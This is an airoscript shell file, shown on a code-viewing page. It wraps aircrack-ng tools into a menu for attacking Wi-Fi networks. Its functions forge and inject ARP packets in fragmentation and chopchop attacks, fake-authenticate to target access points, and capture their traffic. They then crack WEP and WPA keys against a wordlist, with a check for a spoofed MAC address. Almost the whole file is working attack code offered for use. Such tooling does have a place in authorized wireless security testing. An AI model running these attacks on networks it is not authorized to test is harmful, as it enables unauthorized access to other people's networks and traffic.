📄 airoscfunc.sh
字号:
##_________________________________##Option: '`" read yn echo "" case $yn in 1 ) fragnoclientend ; break ;; 2 ) fragmentationattackend ; break ;; 3 ) chopchopend ; break ;; 4 ) chopchopclientend ; break ;; 5 ) $CLEAR; break ;; * ) echo "Unknown response. Try again" ;; esac done } function fragnoclientend { if [ "$Host_MAC" = "" ] then $CLEAR echo `gettext 'ERROR: You must select a target first'` else $ARPFORGE -0 -a $Host_MAC -h $FAKE_MAC -k $Client_IP -l $Host_IP -y fragment-*.xor -w $DUMP_PATH/frag_$Host_MAC.cap $TERMINAL $HOLD $BOTTOMLEFT $BGC "$BACKGROUND_COLOR" $FGC "$INJECTION_COLOR" $TITLEFLAG "`gettext 'Injecting forged packet on'` $Host_SSID" $EXECFLAG $AIREPLAY -2 -r $DUMP_PATH/frag_$Host_MAC.cap -h $FAKE_MAC -x $INJECTRATE $IWIFI & menufonction fi } function fragmentationattackend { if [ "$Host_MAC" = "" ] then $CLEAR echo `gettext 'ERROR: You must select a target first' ` else $ARPFORGE -0 -a $Host_MAC -h $Client_MAC -k $Client_IP -l $Host_IP -y fragment-*.xor -w $DUMP_PATH/frag_$Host_MAC.cap $TERMINAL $HOLD $BOTTOMLEFT $BGC "$BACKGROUND_COLOR" $FGC "$INJECTION_COLOR" $TITLEFLAG "`gettext 'Injecting forged packet on'` $Host_SSID" $EXECFLAG $AIREPLAY -2 -r $DUMP_PATH/frag_$Host_MAC.cap -h $Client_MAC -x $INJECTRATE $IWIFI & menufonction fi } function chopchopend { if [ "$Host_MAC" = "" ] then $CLEAR echo `gettext 'ERROR: You must select a target first' ` else $ARPFORGE -0 -a $Host_MAC -h $Client_MAC -k $Client_IP -l $Host_IP -y fragment-*.xor -w $DUMP_PATH/frag_$Host_MAC.cap rm -rf $DUMP_PATH/chopchop_$Host_MAC* $ARPFORGE -0 -a $Host_MAC -h $FAKE_MAC -k $Client_IP -l $Host_IP -w $DUMP_PATH/chopchop_$Host_MAC.cap -y *.xor $TERMINAL $HOLD $BOTTOMLEFT $BGC "$BACKGROUND_COLOR" $FGC "$DEAUTH_COLOR" $TITLEFLAG "`gettext 'Sending chopchop to:'` $Host_SSID" $EXECFLAG $AIREPLAY --interactive -r $DUMP_PATH/chopchop_$Host_MAC.cap -h $FAKE_MAC -x $INJECTRATE $IWIFI & menufonction fi } function chopchopclientend { if [ "$Host_MAC" = "" ] then $CLEAR echo `gettext 'ERROR: You must select a target first' ` else $ARPFORGE -0 -a $Host_MAC -h $Client_MAC -k $Client_IP -l $Host_IP -y fragment-*.xor -w $DUMP_PATH/frag_$Host_MAC.cap rm -rf $DUMP_PATH/chopchop_$Host_MAC* $ARPFORGE -0 -a $Host_MAC -h $Client_MAC -k $Client_IP -l $Host_IP -w $DUMP_PATH/chopchop_$Host_MAC.cap -y *.xor $TERMINAL $HOLD $BOTTOMLEFT $BGC "$BACKGROUND_COLOR" $FGC "$DEAUTH_COLOR" $TITLEFLAG "`gettext 'Sending chopchop to:'` $Host_SSID" $EXECFLAG $AIREPLAY --interactive -r $DUMP_PATH/chopchop_$Host_MAC.cap -h $Client_MAC -x $INJECTRATE $IWIFI & menufonction fi }# FIXME: From here, I have not developed more "airoscript interactive"###################################################Those three are called from many places.#################################################### function capture { rm -rf $DUMP_PATH/$Host_MAC* $TERMINAL $HOLD $TITLEFLAG "`gettext 'Capturing data on channel'`: $Host_CHAN" $TOPLEFT $BGC "$BACKGROUND_COLOR" $FGC "$DUMPING_COLOR" $EXECFLAG $AIRODUMP --bssid $Host_MAC -w $DUMP_PATH/$Host_MAC -c $Host_CHAN -a $WIFI } function fakeauth { $TERMINAL $HOLD $TITLEFLAG "`gettext 'Associating with:'` $Host_SSID " $BOTTOMRIGHT $BGC "$BACKGROUND_COLOR" $FGC "$ASSOCIATION_COLOR" $EXECFLAG $AIREPLAY --fakeauth $AUTHDELAY -q $KEEPALIVE -e "$Host_SSID" -a $Host_MAC -h $FAKE_MAC $IWIFI } function menufonction { $TERMINAL $HOLD $TOPRIGHT $TITLEFLAG "`gettext 'Fake function to jump to menu'`" $EXECFLAG echo "Aircrack-ng is a great tool, Mister_X ASPj & HIRTE are GODS" } # This is the input part for ssid. Used for almost two functions. (blankssid and choosetarget) function Host_ssidinput { echo "#######################################" echo -e "`gettext \"### Please enter SSID ###\"`" read Host_SSID set -- ${Host_SSID} $CLEAR }###################################################End of the ones that are called from many places.################################################################## Warning: I can't find those functions called from anywhere ###########function witchconfigure {if [ $Host_ENC = "WEP" ] then configure else wpaconfigure fi }function configure { $AIRCRACK -a 1 -b $Host_MAC -s -0 -z $DUMP_PATH/$Host_MAC-01.cap &> $DUMP_PATH/$Host_MAC.key KEY=`cat $DUMP_PATH/$Host_MAC.key | grep -a KEY | awk '{ print $4 }'`}function wpaconfigure { $AIRCRACKOLD $FORCEWPAKOREK -a 2 -b $Host_MAC -0 -s $DUMP_PATH/$Host_MAC-01.cap -w $WORDLIST &> $DUMP_PATH/$Host_MAC.key KEY=`cat $DUMP_PATH/$Host_MAC.key | grep -a KEY | awk '{ print $4 }'`}function doauto { # First the first funcion, those where you scan for targets :-) choosetype # Now the one on wich you select target if [ -e $DUMP_PATH/dump-01.csv ] then Parseforap $CLEAR if [ "$Host_SSID" = $'\r' ] then blankssid; elif [ "$Host_SSID" = "No SSID has been detected" ] then blankssid; fi target choosetarget $CLEAR else $CLEAR echo "ERROR: You have to scan for targets first" fi # And now the cracking option :-) # I really really hope this will be usefull. witchattack }########################################################Called directly from the menu.######################################################function checkforcemacif [ $FORCE_MAC_ADDRESS ]; then $CLEAR echo "Warn: Not checking mac address" menuelse echo -ne "Checking mac address...done" mac=`$MACCHANGER -s wlan0|awk {'print $3'}` if [ "$FAKE_MAC" != "$mac" ]; then wichchangemac $CLEAR menu fififunction setinterface { #INTERFACES=`$iwconfig|grep --regexp=^[^:blank:].[:alnum:]|awk '{print $1}'` #INTERFACES=`$iwconfig|egrep "^[a-Z]+[0-9]+" |awk '{print $1}'` #INTERFACES=`ip link |egrep "^[0-9]+" | cut -d':' -f 2 | cut -d' ' -f 2 | grep -v "lo" |awk '{print $1}'` # I dont really know why is this like that, the cut for spaces and awk print $1 doesnt make the same things? --> No, awk also treats tabs as spaces as I know INTERFACES=`ip link|egrep "^[0-9]+"|cut -d ':' -f 2 |awk {'print $1'} |grep -v lo` if [ "$WIFI" = "" ] then echo -e "\n_____"`gettext 'Interface selection'`"_____" PS3="`gettext 'Select your interface: '`" select WIFI in $INTERFACES; do break; done export WIFICARD=$WIFI echo -e "______________________________\n" echo -n `gettext 'Should I put it in monitor mode?'` " (Y/n) " read answer if [ "$answer" != "n" ] then TYPE=`$AIRMON start $WIFICARD | grep monitor | awk '{print $2 $3}'` DRIVER=`$AIRMON start $WIFICARD | grep monitor | awk '{print $4}'` else TYPE=`$AIRMON stop $WIFICARD | grep monitor | awk '{print $2 $3}'` DRIVER=`$AIRMON stop $WIFICARD | grep monitor | awk '{print $4}'` fi $CLEAR echo `gettext 'Interface used is :'` $WIFI echo `gettext 'Interface type is :'` "$TYPE ($DRIVER)" testmac read -p "Do you want to use airserv-ng? [y/N] " var if [ "$var" == "y" ]; then export WIFICARD=$WIFI read -p "Start a local server? [y/N] " var if [ "$var" == "y" ]; then export WIFI="127.0.0.1:666" $AIRSERV -d $WIFICARD >/dev/null 2>1 & else read -p "Enter airserv-ng address [127.0.0.1:666]" WIFI if [ "$WIFI" == "" ]; then WIFI="127.0.0.1:666" fi export WIFI=$WIFI fi fi export IWIFI=$WIFI # This way, even if we use airserv-ng IWIFI Will be same as wifi, but if we use conf file to tell who is wifi and iwifi, they'll remain as in conffile. else echo -n `gettext 'Shall I put in monitor mode'` $WIFI "? (Y/n) " read answer if [ "$answer" != "n" ] then TYPE=`$AIRMON start $WIFICARD | grep monitor | awk '{print $2 $3}'` DRIVER=`$AIRMON start $WIFICARD | grep monitor | awk '{print $2 $3}'` else TYPE=`$AIRMON stop $WIFICARD | grep monitor | awk '{print $2 $3}'` DRIVER=`$AIRMON stop $WIFICARD | grep monitor | awk '{print $2 $3}'` fi $CLEAR echo `gettext 'Interface used is :'` $WIFI $IWIFI echo `gettext 'Interface type is :'` "$TYPE ($DRIVER)" testmac fi}monmode() { if [ "`$iwconfig $1 |grep Monitor`" ];then echo "`gettext 'Your card is already in monitor mode'`" else $AIRMON start $1 $2 fi}# Test fake mac.function testmac { if [ "$TYPE" = "Atherosmadwifi-ng" ] then echo "Previous fake_mac : $FAKE_MAC" FAKE_MAC=`ifconfig $WIFICARD | grep $WIFI | awk '{print $5}' | cut -c -17 | sed -e "s/-/:/" | sed -e "s/\-/:/" | sed -e "s/\-/:/" | sed -e "s/\-/:/" | sed -e "s/\-/:/"` echo -e "`gettext \"Changed fake_mac : $FAKE_MAC\"`" else echo "" fi}# This is another great contribution from CurioCT that allows you to manually enter SSID if none is setfunction blankssid { while true; do $CLEAR echo -e -n "`gettext ' _____________________________________ ## Blank SSID detected ## ## Do you want to in put one ## ## 1) Yes ## ## 2) No ## ##_________________________________## Option: '`" read yn case $yn in 1 ) Host_ssidinput ; break ;; 2 ) Host_SSID="" ; break ;; * ) echo "unknown response. Try again" ;; esac done}function target { echo -e "`gettext \" _______Target information______ AP SSID = $Host_SSID AP MAC = $Host_MAC AP Channel =$Host_CHAN Client MAC = $Client_MAC Fake MAC = $FAKE_MAC AP Encryption =$Host_ENC AP Speed =$Host_SPEED ________________________________\"`"} function checkdir {if [[ -d $DUMP_PATH ]]then echo -e "`gettext \"[INFO] Output folder is $DUMP_PATH\"`"# Disabled, now it uses mktmp to create temp directory, so this is not required.#else# echo -e "`gettext \"[INFO] Output folder does not exist, i will create it now\"`"# mkdir $DUMP_PATH# echo -e "`gettext \"[INFO] Output folder is now set to $DUMP_PATH\"`"fi}function reso { while true; do if [ "$resonset" = "" ] then echo -e "`gettext \"Select screen resolution \"` \n" echo -e "`gettext \"____Available resolutions_____\"`"echo -n "## #### 1) 640x480 #### 2) 800x480 #### 3) 800x600 #### 4) 1024x768 #### 5) 1280x768 #### 6) 1280x1024 #### 7) 1600x1200 ####__________________________##Option: "read reson fi case $reson in 1 ) TLX="83";TLY="11";TRX="60";TRY="18";BLX="75";BLY="18";BRX="27";BRY="17";bLX="100";bLY="30";bRX="54";bRY="25"; setterminal; break;; 2 ) TLX="90";TLY="11";TRX="60";TRY="18";BLX="78";BLY="26";BRX="52";BRY="15";bLX="130";bLY="30";bRX="78";bRY="25"; setterminal; break;; 3 ) TLX="92";TLY="11";TRX="68";TRY="25";BLX="78";BLY="26";BRX="52";BRY="15";bLX="92" ;bLY="39";bRX="78";bRY="24"; setterminal; break;; 4 ) TLX="92";TLY="14";TRX="68";TRY="25";BLX="92";BLY="36";BRX="74";BRY="20";bLX="100";bLY="52";bRX="54";bRY="25"; setterminal; break;; 5 ) TLX="100";TLY="20";TRX="109";TRY="20";BLX="100";BLY="30";BRX="109";BRY="20";bLX="100";bLY="52";bRX="109";bRY="30"; setterminal; break;; 6 ) TLX="110";TLY="35";TRX="99";TRY="40";BLX="110";BLY="35";BRX="99";BRY="30";bLX="110";bLY="72";bRX="99";bRY="40"; setterminal; break;; 7 ) TLX="130";TLY="40";TRX="68";TRY="25";BLX="130";BLY="40";BRX="132";BRY="35";bLX="130";bLY="85";bRX="132";bRY="48"; setterminal; break;; * ) echo -e "`gettext \"Unknown response. Try again\"`"; sleep 1; $CLEAR ;; esac done}function setterminal { $CLEAR getterminal echo -e "`gettext '\tIm going to set terminal options for your terminal now'`...`gettext 'done'`" # This way we support multiple terminals, not only $TERMINAL case $TERMINAL in xterm|uxterm ) export TOPLEFT="-geometry $TLX*$TLY+0+0 " export TOPRIGHT="-geometry $TRX*$TRY-0+0 " export BOTTOMLEFT="-geometry $BLX*$BLY+0-0 " export BOTTOMRIGHT="-geometry $BRX*$BRY-0-0 " export TOPLEFTBIG="-geometry $bLX*$bLY+0+0 " export TOPRIGHTBIG="-geometry $bLX*$bLY+0-0 " export HOLDFLAG="-hold" export TITLEFLAG="-T" export FGC="-fg" export BGC="-bg" export EXECFLAG="-e" if [ "$DEBUG" = "1" ] then echo $TOPLEFT echo $TOPRIGHT echo $BOTTOMLEFT echo $BOTTOMRIGHT echo $TOPLEFTBIG echo $TOPRIGHTBIG printf -- "$EXECFLAG \n" echo $HOLDFLAG echo $TITLEFLAG echo $FGC echo $BGC fi ;; gnome-terminal|gnome-terminal.wrapper ) TOPLEFT="-geometry=$TLX*$TLY+0+0 " TOPRIGHT="-geometry=$TRX*$TRY-0+0 " BOTTOMLEFT="-geometry=$BLX*$BLY+0-0 " BOTTOMRIGHT="-geometry=$BRX*$BRY-0-0 " TOPLEFTBIG="-geometry=$bLX*$bLY+0+0 " TOPRIGHTBIG="-geometry=$bLX*$bLY+0-0 " EXECFLAG="-e " HOLDFLAG="" # Apparently, gnome terminal can't be hold that way. TITLEFLAG="-t" # Themes disabled for gnome-terminal FGC="" DUMPING_COLOR="" INJECTION_COLOR="" ASSOCIATION_COLOR="" DEAUTH_COLOR="" BACKGROUND_COLOR="" BGC="" ;; screen | "screen" | "screen " ) # Now, we add modified functions file, to support screen . $SCREEN_FUNCTIONS echo "Screen functons loaded, replacing functions" ;; airosperl ) airosperl exit ;; esac}# this function allows debugging, called from main menu.function debug { if [ "$DEBUG" = "1" ] then export HOLD=$HOLDFLAG echo "`gettext \" Debug Mode enabled, you\'ll have to manually close windows\"`" else export HOLD="" fi}function getterminal { # TERMINAL var is on config if valid, use it, if not set it to defaults, if that fails, use environment terminal, and if that fails too, use xterm :-D, if xterm isnt available, giva a fatal warning and exit (who doesnt have a terminal?)# This is for parameter input. if [ "$TERMINAL" = "GUI" ]; then TERMINAL="airosperl" else if [ -x $TERMBIN/$TERMINAL ] then echo -en "\t`gettext \"Using configured terminal\"`" else echo -en "$TERMINAL was not used, not found on path" echo -en '`gettext "Using default terminal"`' TERMINAL=`ls -l1 /etc/alternatives/x-terminal-emulator|cut -d ">" -f 2|cut -d " " -f 2|head -n1`; fi fi if [ -x $TERMBIN/$TERMINAL ] # If there is an alternative for terminal select it. then D="1" # I forgot what this is for :-P echo " ($TERMINAL)" else if [ -e $TERM ] then echo -e "`gettext \"Using environment defined terminal ($TERM)\n\"`" TERMINAL=$TERM else if [ -x "$TERMBIN/xterm" ] then TERMINAL="xterm" echo -e "Using Xterm\n" else echo -e "`gettext \"I cant find any good terminal, please set one on your conffile Your TERMINAL var contains no valid temrinal Your alternative against x-terminal-emulator contains no terminal Xterm can\'t be found on your system, Maybe not in /usr/bin?\n\"`" exit fi fi fi }###################################################End of called directly from the menu. ######################################################
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -